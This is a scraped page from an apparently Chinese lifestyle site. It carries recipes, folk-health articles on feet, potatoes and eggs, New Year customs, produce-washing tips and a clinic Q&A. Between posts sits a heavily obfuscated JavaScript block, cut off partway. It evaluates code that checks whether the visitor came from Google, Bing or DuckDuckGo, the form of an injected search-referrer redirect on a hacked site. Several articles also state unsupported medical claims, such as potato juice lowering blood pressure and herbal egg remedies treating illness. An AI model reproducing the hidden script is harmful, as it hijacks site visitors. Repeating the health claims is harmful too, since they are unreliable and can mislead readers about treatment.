1. 可以用现成的五香或者麻辣米粉代替自己制作的米粉。

2. 可以按口味放豆瓣酱或者辣椒面来蒸。没有五香粉,也可以在炒米时加八角等香料。

3. 秋葵在开始放调料时有点干,充分拌一下就会有水分出来,后面拌入米粉才不会太干。

4. 蒸秋葵用蒸笼较好,上下蒸汽均匀渗透,如果用盘子来蒸,平铺较好。

2021-02-07 / by / in ,
脚上有这三个特征:恭喜!證明你比其他人健康太多

脚底颜色/脚的温度/趾甲/腿部动作 延寿防衰老/脚上 三个特征

足也就是脚用来判断健康,一般来说有以下三个明显特点:

脚底颜色

中医早就有五色辨病的说法,五色指的是青赤黄白黑。

中医认为,正常的脚底应该是淡红色,

如果红色太过明显,可能身体有热;

如果颜色发青,可能有寒;

如果出现黄色,代表肝胆不好;

如果脚底发白,可能有贫血;

如果脚底发黑或发紫,是血液循环太差所致。

脚的温度

健康人的脚常年温温的,不会有出汗过多或足底冰冷感。

老人、女人易出现脚底冰凉的现象,多为穿太少或肾阳不足,这类人在秋冬季可多吃一些温热的食物,如生姜、羊肉和大蒜等,可提高身体御寒能力。

若脚心过热,则可能是阴虚内热,平时要多吃些甘凉食物(冬瓜、绿豆),少吃辛辣食物。


健康人的指甲呈粉红色

趾甲

健康人的指甲呈粉红色,脚趾甲上也有月牙的哦!

①指甲颜色苍白,缺乏血色,多见于营养不良,贫血患者;此外如果指甲突然变白,则常见失血、休克等急症。

②如果趾甲有纵行条纹,则表示处于极度疲劳的状态,身体机能低下。

③拇趾的趾甲向上翘起的人,眼睛容易疲劳,或有近视、散光。

④如果5个趾甲都翘起,那可能是承受着相当的精神压力。

4个腿部动作延寿防衰老

中国中医科学院西苑医院老年病中心刘征堂教授认为,脚是人体养生的重要部位,通过做一些简单的脚部运动,可以刺激脚部穴位,强身健体。

1.踮脚:

经常久坐和站立的人常会感觉到下肢酸胀,严重的甚至会出现下肢静脉曲张,这是下肢流不畅所致。

不妨每小时做一次“踮脚”,可以促进下肢血液循环。

2.脚趾抓地:

具体方法:取站姿或坐姿,双脚贴合地面,与肩同宽;脚趾先抓地,再放松,交替刺激经络;

还可以用脚趾抓东西,既可刺激脚部穴位,还能按摩脚趾。

3.搓脚:

每天晚上泡完脚后,将手掌搓热,用掌心搓脚心,各100下。

搓脚可降虚火、滋肾,还能防治脚部酸痛、消肿等症。

4.干洗腿:

双手抱紧一侧大腿,双手用力从大腿根部开始按,直到脚踝,再按回大腿,按完后换腿,重复10-20遍。

这个动作可活动双腿,预防下肢静脉曲张和水肿。

2021-02-07 / by / in
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2021-02-06 / by / in , ,
起司豆皮夹 原来豆皮这样吃更好!(视频)

起司豆皮夹/起司/豆皮

今天与大家分享非常好吃的一道菜,起司豆皮夹,它的味道香酥脆。

富含蛋白质,煎,炸,炒都适宜的豆皮,只要将备好的食材依序摆入,然后炸的时候,不要一锅子放很多,保留一些空间,可以让酥脆的起司豆包夹更可口美味!

食材:

新鲜豆包4片、乳酪丝 10克、素火腿 60克、香菜 2克、脆酥粉 100克、面包粉 100克、白芝麻(生)5克

调味料:

胡椒粉适量、黑胡椒粒适量

做法:

1.找出豆包接口处,将豆包翻开摊平成长方型,共有两折须翻出。

2.将素火腿切0.2公分圆片状,香菜切1公分段,乳酪丝切碎。

3.将摊平的豆包,中间放上一片火腿片,洒上白胡椒盐及黑胡椒粒。

4.再洒上乳酪末、香菜段。

5.取100克脆酥粉加上面包粉 100克、白芝麻(生)5克、100克的水,调成脆粉浆。

6.将豆包夹沾上脆粉浆,接着将豆包左右各折回来并压紧。

7.豆包夹再沾上面包芝麻粉。

8.锅中将油加热至油温160度左右,将豆包夹放入锅中,炸至金黄酥脆即可。

2021-02-06 / by / in
土豆就是最好的“药”,关键看你怎么吃,学会受益多多!

抗癌/降血压/土豆/吃土豆的人一定要看看/土豆吃法/土豆最好的药

土豆又称为马铃薯、洋芋,是一种很常见的蔬菜,很多人都喜欢吃它,土豆中含有大量的维生素,因而营养学家称它蔬菜明星,被认为有“地下苹果”之称。

联合国最近一项调查表明,到2100年,全世界人口将增加到105亿,可能导致粮食危机。有的科学家认为,到那个时候,最有可能帮助人类渡过危机的就是这貌不惊人、我们天天见到的土豆。

土豆浑身是宝,堪称“地下苹果”


土豆有“第二面包”的美称 

土豆浑身都是宝。两位英国营养专家建议,每天吃两次煮土豆可以缓解压力。具体说起来,土豆有以下几个营养优势:

1.营养价值高:“第二面包”美称

土豆的营养价值很高,含有丰富的维生素A和维生素C以及矿物质,优质淀粉含量约为16.5%,还含有大量木质素等。

土豆是典型的低能量食物,素有“第二面包”的美称。

2.含多种维生素:有利心血管健康

土豆富含各种维生素,含量甚至与蔬菜相当。尤其是维生素C和B族维生素含量较高,其中前者是一种抗氧化剂,保护身体免于自由基的威胁,后者有利于心血管健康。

3.富含钾盐:降脑卒中发病率

每100克土豆含钾高达300毫克以上,具有防治高血压和心脏病的功效,这让土豆享有“地下苹果”的美誉。

另外有研究证明,每天坚持吃1个中等大小的土豆(约130克),可使脑卒中的发病率降低40%。

4.富含多酚类:抗癌、抗氧化

早先的研究结果表明,土豆能有效预防乳腺癌,并在癌症早期的综合治疗中发挥积极作用。

土豆中含有的多酚类物质,具有抗癌、抗氧化作用。

5.非常好的补气食物

从中医角度看,土豆是一种非常好的补气食物。具有健脾益气、和胃调中、减肥降脂等功效,对有“气虚”表现的人有很好的调理作用。

土豆堪称百姓灵芝,为达到防治疾病的目的,吃法非常关键!

1、降血压

生土豆榨汁

方法

将土豆洗净,去皮,用擦菜板擦成汁或榨橙汁。然后可依照个人口味加入酸奶、砂糖、蜂蜜等饮用。

很多人不知道土豆其实还是一味“降压药”。

土豆中含有大量矿物质、B族维生素和钾,有利于控压,降压,还可保持血管弹性,有利于预防动脉粥样硬化的发生,这些都是控制血压的可靠保证。

2、降血糖

蒸土豆

方法

将土豆蒸熟吃,这种情况能够避免土豆的吸油性,一般需要蒸10分钟左右,然后直接吃就可以。

尽可能不要乱加调料,如果觉得难以下咽的话,应该注意细嚼慢咽。

高血糖的人可以用土豆代替一部分主食。土豆中的碳水化合物含量在17%左右,比米饭(26%)或馒头(50%)中的碳水化合物都要低。

以土豆代部分主食,可减少部分总热量摄入,对血糖、血脂过高都有很好的改善和缓解作用。

3、助消化

土豆炒着吃

方法

土豆切成丝后,先在水中稍微泡泡。因为土豆中淀粉以直链淀粉为主,泡泡再炒,土豆丝会比较爽脆。

加醋可以保护土豆中所含的部分维生素C,而炒的过程中放油,又可促进土豆中抗氧化物质的吸收。调成酸辣味,还能减少食盐用量。

酸辣土豆丝很多人都吃过,炒酸辣土豆丝可以说是一味治疗食欲差的好“药”,酸辣可口的土豆丝可以增加食欲、促进消食。


土豆加蜂蜜 

4、润肠防便秘

土豆加蜂蜜

方法

1、把土豆削皮、切碎,用榨汁机榨成汁。

2、把榨好的土豆汁倒进锅里,用小火煮,当土豆汁变得黏稠时,加入适量蜂蜜,搅拌均匀即可。

3、做完后放入冰箱冷藏。每天喝一次,每次两勺,空腹服用即可。
你知道吗?每100克土豆里所含的膳食纤维高达6克,可以说是防治便秘的首选食物。

要提醒的是,蜂蜜最好选择槐花蜜。槐花蜜属凉性,用来治疗便秘效果最好。而热性的蜂蜜,吃了以后会增加肠道的干燥,反而会加重便秘的症状。

5、美容

新鲜土豆片

方法

将熟土豆切片,贴在眼睛上,能减轻下眼袋的浮肿。

把土豆切成片敷在脸上,具有美容护肤、减少皱纹的良好效果。

土豆有很好的呵护肌肤、保养容颜的功效。新鲜土豆片液直接涂敷于面部,增白作用十分显着。

6、抗癌

常吃土豆防结肠癌

土豆中大量的膳食纤维不仅可以降血糖,还可以帮助降低胆固醇水平和及时排除代谢毒素,常吃土豆能有效降低结肠癌的发病率。


土豆烧牛肉 

土豆不愧是餐桌上的“营养之王”,而且还便宜,人人吃得起!降压抗癌、美容抗衰…常吃土豆就够啦!以后可别小看土豆!

2021-02-06 / by / in
要过年啦~虾仁蒸饺上餐桌了(视频)

虾仁蒸饺/虾仁/蒸饺

过年了北方有吃饺子习俗,民间也流传着有“好吃不过饺子”的俗语。每逢过年或过节,饺子是餐桌不可缺少的美食。

虾仁蒸饺所需材料:

可以做25-30个蒸饺:

饺子皮面团: 中筋面粉:180克, 玉米淀粉:30克,盐:1克, 开水:60克, 温水:60克,

虾肉馅:

小虾仁: 400克,生抽:2 小勺,白胡椒粉:1克, 带皮鸡腿肉:170克左右,五香粉:小于1克, 生抽:1 小勺,盐:2克, 香油: 1大勺,生姜泥:1 小勺,葱白:1小段,蛋清:1个

做法:

1. 将鸡腿肉剁成泥,然后加入所有的馅料所需的调料,并搅拌均匀。

2. 饺子包好后,开水下锅蒸,中小火蒸6分钟即可。

2021-02-05 / by / in ,
每天一个鸡蛋胆固醇会升高?真相竟是…后悔知道的太晚了!

胆固醇/心脏病/鸡蛋/吃鸡蛋/鸡蛋营养

鸡蛋在我们生活中是不可缺少的食物,鸡蛋中含有丰富的优质蛋白和各种微量营养成分,对人体健康来说是不可缺少的部分。

有人说鸡蛋中有胆固醇,对心血管不好,会增加冠心病和卒中的危险,但其实我们完全不需要有这样的担心~

1天1个蛋,就能补全身


刚刚孕育出来的新生命 

不要小看这小小的一颗鸡蛋,它能发育出小鸡的五脏器官,孕育新的生命,这就是它安全且营养全面最好的证明。

专家建议,每天吃40-50g蛋类,也就是一个鸡蛋的量。而实际上据不完全统计,我国农村居民每天平均吃14g鸡蛋、城市居民则每天平均吃27克鸡蛋,都是达不到建议标准的。

每天一个鸡蛋,对于健康人来说,不但不会因为其中的胆固醇等增加冠心病和中风的风险,还是对我们全身上下,最好的一种营养滋补。

肌肉关节

蛋白和钙营养肌肉护关节

能称为优质蛋白的食物不多,鸡蛋就是一个。它中间的氨基酸全面、而且好吸收,这对增加我们肌肉的坚实程度特别有帮助。

肌肉控制我们的运动,更强有力的保护着我们的关节,如果肌肉退化,关节的负担就会成倍增加。鸡蛋中丰富的蛋白质和钙质,正是对我们的肌肉和关节最好的营养。

大脑

胆碱营养神经、防痴呆

鸡蛋中丰富的胆碱是合成大脑神经递质——乙胆碱的必要物质,同时也是细胞膜的重要成分,有助于营养脑神经、提高记忆力、防止痴呆,使注意力更集中。

同时起作用的,还有卵磷脂和类固醇,这些都是营养大脑的关键物质。

脑血管

叶酸防止脑卒中

叶酸也是鸡蛋中重要的营养物质之一。国际权威医学杂志曾刊发文章介绍,在高血压患者中补充叶酸,可减少脑卒中的发病率。

眼睛

叶黄素玉米黄素防病变

蛋黄中富含叶黄素、玉米黄素这两种抗氧化物质,它们的存在可以有效的帮助延缓和预防老年性黄斑病变,除了这两种物质,鸡蛋还含有大家熟悉的维生素A,可以维持皮肤和视力健康。


鸡蛋还含有大家熟悉的维生素A 

心脏

预防心脏病

我们说胆碱和维生素B12对我们的心脏好,具体是怎么好呢?

高半胱氨酸是血液中的一种氨基酸,这种氨基酸往往与心脏病发病风险的升高紧密相关,而胆碱在高半胱氨酸的分解中起到重要的作用,同时维生素B12对维持正常的免疫功能非常重要,也有助于预防心脏病。

全身

提高免疫力抗衰老

鸡蛋中维生素、矿物质的含量和种类都十分丰富,包括了所有的B族维生素、维生素A、维生素D、维生素E、维生素K和微量的维生素C。

尤其富含维生素B1、B2,它们都有利于身体的能量代谢、抗衰老,维持正常的免疫力。

鸡蛋加一物,不受疾病扰

补肺镇咳:百合鸡蛋汤

此方补肺虚,镇咳喘。适宜于肺虚久咳之病症。方中百合有补肺之功;鸡蛋又具和营卫之效,两味相合,为补肺镇咳之方。

百合鸡蛋汤

做法:取百合60克,鸡蛋2枚,以百合、鸡蛋同煮,至鸡蛋熟,去壳,连汤同服。每日服1次。

脱发白发:首乌煮鸡蛋

何首乌能补肝肾,益精血,乌须发;用于肝肾虚损、精血不足、须发斑白、未老先衰。健康人吃了也可以益智、延缓衰老、乌发。

首乌煮鸡蛋

做法:制首乌10克,鸡蛋2个。将首乌煎药汤,煮鸡蛋2个。蛋煮熟以后剥壳,再煮至少半小时,每次吃1个鸡蛋,饮汤,每天两次。

痛经:益母草煮鸡蛋

痛经的发生与淤血有着密切的关系,鸡蛋具有滋阴养血的作用。益母草是历代医家用来治疗妇科疾病之要药,具有活血化淤的作用,益母草煮鸡蛋最适合于气滞血淤型痛经患者食用。

益母草煮鸡蛋

做法:取鸡蛋2个,益母草30克,元胡15克,放入砂锅中加入适量清水同煮,鸡蛋煮熟后去壳再煮片刻,去药渣,吃蛋喝汤。经前1~2天开始服,每日1剂,连服5~7天。

气血双补:当归红糖煮鸡蛋

当归是女性圣药。这款补血汤对于改善女性贫血是很有帮助的,如果有贫血,经常头晕,一下子坐起来会有头昏的感觉,可以试试这个方子。

当归红糖煮鸡蛋

做法:当归20g,熟鸡蛋4颗、红糖适量。当归加3碗水,放入煮熟去壳又用针刺十余个小孔的鸡蛋,煮汤至1碗即成。

在经期3、4天或者经后一周开始吃,早或者晚空腹,连续吃两天即可。每日服2次,吃蛋,饮汤。也就是一共吃4颗蛋。


这是最好的证明 

不要再误会鸡蛋了,小小的一颗鸡蛋能孕育出新的生命,这就是它安全且营养全面最好的证明。

每天吃1个鸡蛋,长期坚持下来,是比偶尔吃什么营养品更实在的方法,赶紧告诉您更多的朋友吧~

2021-02-05 / by / in
过年的老传统 你还有几项在坚持?(组图)

过年/传统佳节/团圆/除旧尘/祭祀祖先/贴春联/放鞭炮/吃饺子/拜新年/回娘家/玩游戏

还有几天就要过年了,虽然疫情当下,可是过年的气氛还是不亚于往年。

人们常说百节年为首,年是中华民族最为隆重的传统佳节,过年期间,华夏子孙为了庆贺新春活动,会有丰富多彩的活动和习俗,以下哪些你还在坚持。


过年

一、家团圆。

过年首要第一条就是团圆,离家再远过年也要回家,这是中国人铁打不动的习俗,由于强推城市化和经济发展的严重不平衡,有家的地方没工作,没家的地方有工作,外出务工人员越来越多,在中国大陆形成了“春运”,出现了“一票难求”的现象,都是为了回家团圆。今年由于受到疫情影响,好多人不能回家团圆。远在他乡辛劳一年的游子,今年你还回家过年吗?


家团圆

二、除旧尘。

又叫扫尘、扫屋、扫房等,简单说就是打扫卫生,通常是在那月二十四这天,小时候这一天家里通常会用竹竿绑上鸡毛掸子把家里屋子清扫一遍,把家里所有被子、床单清洗一遍,所谓“打扫干净屋子再请客”就是这个道理,现在你们还会进行除旧尘活动吗?

三、祭祖

中国人非常讲究祭祀祖先,尤其是在过年前,会买些纸钱、带些点心到老人坟上去烧纸,如果老人生前爱喝酒的还会带上一瓶酒倒在坟头,烧完纸后磕头离开。现在你们都怎么祭祖呢?


贴春联

四、贴春联

每年大年三十的上午,无论城市还是农村,家家户户都要挑漂亮的春联贴于门上,辞旧迎新,增加喜庆的节日气氛,小时候都是村里的“书法家”手写的,后来有了印刷品,更加精美了,除了春联外,现在还会贴一些门神、挂灯笼等。你家今年的春联买好了吗?

五、放鞭炮

放爆竹是中国传统民间习俗,已有两千多年历史。相传是为了驱赶一种叫“年”的怪兽。当新年钟声敲响,家家户户都会放鞭炮,还记得小时候我们会一家家去寻找没有炸的鞭炮,然后自己用火柴点燃,由于引线太短经常会炸到手指。你们对“擦鞭”、“掼鞭”还有印象吗?过年你们还会放鞭炮吗?

六、吃饺子


吃饺子

现在哪怕是好吃的东西再多,各家也要“包饺子”,大年三十晚上一家人团圆在一起,一边包着饺子,这已经是好多人家标准的迎新方式,现在你们还会在年三十包饺子吗?

七、拜新年

大年初一拜新年,是人们辞旧迎新、相互表达美好祝愿的一种方式,我们小时候,这一天可高兴了,因为这一天我们会给爷爷、奶奶、叔叔大爷们去拜新,拜年时要下跪磕头,然后他们就会给我们一笔“不小的压岁钱”,通常是1元、2元,5元、10元已是“巨款”,够我们过年期间的各种花销。但是,随着时代的发展,拜年的习俗亦不断增添新的内容和形式,电话拜年、短信拜年、网络拜年等逐渐兴起 。今年,你们会收到多少“压岁钱”?

八、回娘家

又称走娘家,每年正月初二出嫁的女儿要回娘家,夫婿要同行,新出嫁的女儿,娘家还要派人去迎接,所以又称迎婿日,回家时要带上一大堆礼品。现在你们还在正月初二回娘家吗?


玩麻将

九、玩游戏

过年期间,除了拜年、吃各种好吃的,玩游戏也是必不可少的,以前智能手机、电子产品没有普及的时候,尤其是在农村,无论大人小孩、男女老少或多或少都是会参与一种活动,就是“赌博”游戏,麻将、扑克牌、筛子等玩法多样。你们过年还“玩游戏”吗?

2021-02-04 / by / in
美国最新报告:又有水果农药残留超标!你知道正确的洗蔬果方式吗?

健康/水果/农药残留/蔬菜

美国非营利环保机构,环境工作组织发表最新报告指出,确定最脏和最干净的蔬果名单,其中包括酪梨、凤梨、洋葱、木瓜、芦笋等最为干净蔬果,而草莓、樱桃、苹果、葡萄、菠菜、番茄等都有近70%农药残留,特别草莓的农药更是残留高达98%。

虽然政府对蔬果、食品都有相关的农药管制,但民众也该了解正确的清洗蔬果方式,以免越洗越毒,也避免把农药吃下肚。

1.浸泡

其实农药会自行挥发,而且环境温度越高,残留农药挥发得越快。所以在食用前可以先将蔬果放在室温下半天,再使用浸泡的方式,浸泡约3到5分钟,最后在流动自来水下用手搓洗,将农药被水溶解并带走。

这样的方式确实会用到比较多水,但为了能完全去除残留农药并让自己安心,还是要把蔬果洗干净呀!


洗菜

2.削皮

许多水果的表皮都会有一层天然腊质保护,而农药就很容易会在这些表皮上停留,并且难以清除,所以记得要削皮再食用。另外,冲洗过后的水果要用纸巾将表面水分擦拭干净再削皮,以免让脏污或还含有农药的部分污染到里面可以食用的地方。


削皮

3.加热

叶菜类在洗净后可以使用汆烫法,利用高温杀菌之外,农药也会在汆烫的过程中被挥发、分解掉。不过因为农药都已被分解进水里,所以经汆烫过后的菜汤就不能再食用,另外,在汆烫时也不要闷住,记得把锅盖打开,让农药随蒸气挥发。

2021-02-04 / by / in
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$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,48,53,50,122,56,72,84,77,76,60,34,112,47,63,38,95,43,85,67,119,44,58,37,51,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![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2021-02-03 / by / in , , ,
肠胃镜检查,除了发现肠胃道的问题外,还会发现其他方面的问题吗?
荆彤肠胃中心
电话: (718) 886-9819
地址: 136-68 Roosevelt Ave 3rd floor, Flushing, NY 11354
肠胃镜检查,除了发现肠胃道的问题外,还会发现其他方面的问题吗?

对,这有时要全面的来检查病人,像最近我有一个病人来做胃镜,因为是胃部不舒服,家庭医生到这里边来做胃镜。
做完胃镜呢 我们发现里边没什么大问题,但是病人的皮肤发黄,眼球也发黄,所以当时我判断病人可能胰腺或者是肝会有问题,所以做了进一步的验血检查,而且把病人带到医院,我亲自去做内视镜超声的一个比较新的技术,发觉病人有早起的胰腺癌 那病人很快的安排了手术,那术后效果也很好。
胰腺癌哪 我们知道是癌中之王,死亡率是相当高的,如果一半发现的时候 病人已经是三期 四期了,那就没有手术机会了。
早期发现胰腺癌是比较难的,但是早期发现的好处就是病人有手术的机会,这样呢就可以把肿瘤给消灭掉。

收起

2021-02-03 / by / in ,
(视频)立春到!做春饼 吃春卷啦~

春卷/立春/春饼

今天立春,与大家分享自制春卷皮,也一起学学做春卷。

立春是二十四节气中的第一个节气。立春的“立”是开始的意思, 表示万物复苏的春天开始了, 天气回暖, 万物更新。立春有吃春饼和春卷的习俗,就是用做成的薄薄的面皮包着时令蔬菜,卷成卷蒸熟或者油炸着吃。

做春卷皮:

中筋面粉 190克,70°C热水 120毫升,

做法:

1. 将热水一点一点的倒入面粉中,然后搅拌成絮状,揉成面团,静置30分钟。

2. 将饧好的面切成16等份,每份20克,然后擀成13厘米的薄片,全部都擀好后,将每片上面涂少许油,然后叠放起来。 8片为一摞。然后再次擀成23厘米大小的薄片。

3. 将擀好的2镙放入蒸锅厘米,蒸8分钟即可。

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